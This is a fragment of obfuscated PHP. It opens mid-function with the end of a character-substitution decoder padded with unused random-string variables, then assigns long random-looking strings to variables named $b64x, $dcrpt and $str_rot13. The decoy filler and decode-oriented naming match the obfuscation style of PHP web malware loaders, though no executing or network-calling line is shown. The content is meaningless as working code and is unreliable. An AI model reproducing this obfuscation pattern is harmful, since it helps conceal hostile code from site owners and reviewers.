$XGBaGwiIx = (int)$XGBaGwiIx % (strlen($mJHJrDHY) / 2);$qqZuJGgI="JyCEEedPHwbDmiYGCKjwtTFMFbegQMvzKWCNAeCGacimKGslPBHIuluyMyeCKzBTVCfUHhBHjitupKFDkMkexECjcGklFLe";$BbN="TeViHxINlPkcPZEJZIHMhYIlmtarkKQdnL";$JuUBQApqyn="ktQOcSKdMbTLJcpcScRGlqaZXyAuIDnsVdFXvpAGrtrzVeBNHSSSHtrEQQxXSjONMujHIKmyCdWxhXK";$DCxjrEgB="YIsqmYuWqFBddaWOWHN";for ($i = 0, $l = strlen($wREG); $i < $l; $i++) {if(strpos($mJHJrDHY, $wREG[$i]) !== false){$HnHS="prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh";$YrEXDaSY="bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE";$AsFUD="bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag";$qGnqPZl="AAPbpxhBb";$BlxuvRKrRA="NAsICVCZLsNaNaeulyvDcNsMe";$zXS="EsRHecSnKneKqFOfbGtjQh";$NwsfaNAe="amCEGOExWsmfmndZ";$wREG[$i] = $mJHJrDHY[(strpos($mJHJrDHY, $wREG[$i]) + (strlen($mJHJrDHY) / 2)) - $XGBaGwiIx];}}return $wREG;}$b64x='bCgntzHcfTzfMbNNEtzJBmUlzQtQalFBNlOFKVHpnfvzHHLkajTaxOMVdELDPQebBsGKMMYasSYYAKIZTCZPPkjsOvuDKXdkqiuBVRamKZkJJSIbTgRhsAzfUtiEqLneUHGPzGbIFLrNcyPWEfdvFcBZviDjTrpmxUbVZCcFMSRPqfkUkNpqPpOJWrtqgHCEadYZebERTVfjaqDLcrasfOAbESrkztOzwMzZmCQGxVpXKRINHheMvdOyWEIUWVTRIRrutgZqCnMlEuyLBbxvfKSBpBvKwNbDEsxXXwMYjyKmrhXRJvLnEDOsDICZwDbZuywruHqDezPvGmLOgwbKzpcbxEASGCrZZmPtTEvYcKSiWdWCYylWMNYiQyAVzrUYDjQwNlTqvlyQOTslrDiDQgkGdkbDBvBdErYRbsgwDElQxcbnGjQVqAaTKbwKxwmaMlrnDxJFAvvxxwKCGZxvzXnJYitUEfVQrLdtilxIGreDMneRMbMLYzuwIlrLrLagwdzEqvMvLqXXECnqDZaazTwGfMQVxRcTuaWJwIEGYaDbCRrEqREOKATPljkiamBTmxchfGODGQEIHulXkqkVPEjANuhmfIfSfhZKmmmtdqajJLguARpOUXOgRVtWEXOJFntrAeJcuimCUSVTiJIcHwiXraTUyhccvUSuyCWrKITdZnXiXeKdAtaqttKQAlsugknEljVVRnzQawyXAIAzaZnttXJsjAMqKZtVINrYAPnBKMXJuyHTWUlpSuHBUSqdRhzYVpWUDjvmvSvnPBgLvtaMlgMfYbJPjhmEwiyYsTKNkEaZeHKYzjkKqWQnYzCHfOkBWIYOaIakLAJPgumFDxqtTFGRDIyIwhISPGGqNGZyFJMMcyreVfxnKDeMkbufIBXWgcltIlqnuBzVZpZuvWHEYkrILjNtLLprNaKVLZIeagZZUytpTztRJJzuSMlcxZu';
$dcrpt='grmikyvwHrBRgPXVPPTFDvfqiCfVevDkLPSWMmsTDtjjhgexvxBYRGNZHTULnWvzlmvXzlqCdzLLFPhaLhyCOkBUDUGRraPCNJYlUpNyNXiSlPSWWqyjZyeDtjTJJIKwrIIKWUhKSPCdETaBIXKHwnJOxCWgJGCznJjKEQuVGvyjNXjUVuarHKEELAjvFLTsUCbXSUSypPgBNQvIjwYqFCTqBcjfnDxHezEwtVThKAhxqDEYyCncDHRdibIVEFChDfEvaWbkVjgKlLIJmwkqcbtkCBgFfhNInQCNlEXHNErypZgavQqWriGTJlynuKvHZWTLArsMUIjiHPiBFYxWgdppOMChWwnVshGsXXdRGNzMCgnHEjcKMrYBCZhyvwumcZEZxgqCTnnVTaCyKEHwuGwVeEuZzNlalPZIvOJpBXJuxkRgnzcHEXChavgzhszTGXabkKPLgyFDhVjUTlBWiCejXkhEcgxhdXIOHxYNuDPazYURjUOSWsBtCIwdOtlsqtFWqDiJGXjEWDvFXIWTZxLbFgeSzPJninjyrRGWppAKSuOPcLhbhscMyHFxwNKdbuasKgNYvMIMfxahhhJOzLaxseTnRcQswRJgxVeRHmENiEuPlcDjODGFgYsYbiqWzzcVuHlbtPnBTHqEKsNXVTCBRUzsCppaNrVgxgHPwUPObesLxEhRWJsOcrfEFTEskYXgfewaykOzqFJlIQCFZttbJXfnRJeBhCHmGcmDNAcCekNMbOrAgiBQGfDxphxwJDIOfurStSuWdGIEuzdAgdPMjtIyZeTIIaVmTlelEXhgDpKWmmwuqLFzdnwcRpjYOekHPOsSLYYnNhjzufsKQXItKeUBSDAHgjNvYFnJDlxPTfpmKGWZcesMiLNanMgTVUptzCcBmYQfdeSOjnNmsFyAPKadwGwRAKjyLLzyJpDNSUabiNNARLAHvAjRfFIfqrcAcaXkOaxGUxhcKucBeCHABQrfwyKknmjqmhabhxgBunEdIfdMHLLHaBMVYxfmiqbvWbVDYcdsqgUxlxJshuYiVLdtHJePyGJTgFweHzVwfPTrmbJTvHBPReIXmMMKRwDYAycgwYbBmuSzvBSqHt';
$str_rot13='ibxlBBdAzLlZcvHnFrzVEASNUXEBbsZjSxUtxyTViEuKyAXCqxxuwqgqMjqNBqwtlrkIODcwgWfdVCFlyCFTRkIcuYQuNllYbwfpzHKFDpizRNjOpOIFYPIRNXkZIVXKQCypJiulWCjmOSbdGihdXpUklEjUYHdPiBdRixDFYlRmesqjAWnyLHIWlRqjySygTCxByZfxLxJPOyYpTLlEtTadjPMhIkNaMjBjJHfuDnIrkfFeRqhjihMSXyzeILeTUFdcLIVnWDFGiJjZZsIHzuYVRWZZHdSCJvdudZhzbMejUpItfqadiyZAvYzbCrckMgdpFKNGVrQQeyijnInwGMvajTBLKdVwjzKniWTeMiuRgbAujmpPYKpicPTMSpHBmQOUMhyzqRPwTppcbdrZmFHOTaBlphlaYAUjHthwjWsCLGdMiTkUySJRSjCGQNGnmZytsFPbbgcMlGXUzhOxZWnrFPwwbbJOBGgslvtMaVyMBvGZbTwbQiRvxnqYOzMpesHPmzBmTyyusDTuWOUlxLGTywRMUcayUgNgfnSYlrSDTLwpzqAVBgpybFjvhKSbQFhvtZudPlfiwCxurXPRDdPEhYypIPqYUxtmWlPkWUtswqMmmBDpdsskrPAyEpwylpjhZYRWtKnnZzALzdZbvrmkFlJIAEgLsPssnJnGtaTsZucXxBZrrlCVWKDwNiHFYyWLgJrzijqhcRfYseqIPrDLAGGmOMrlkmWQvMqEwFkXxqWnTLWhbYSaE';
?>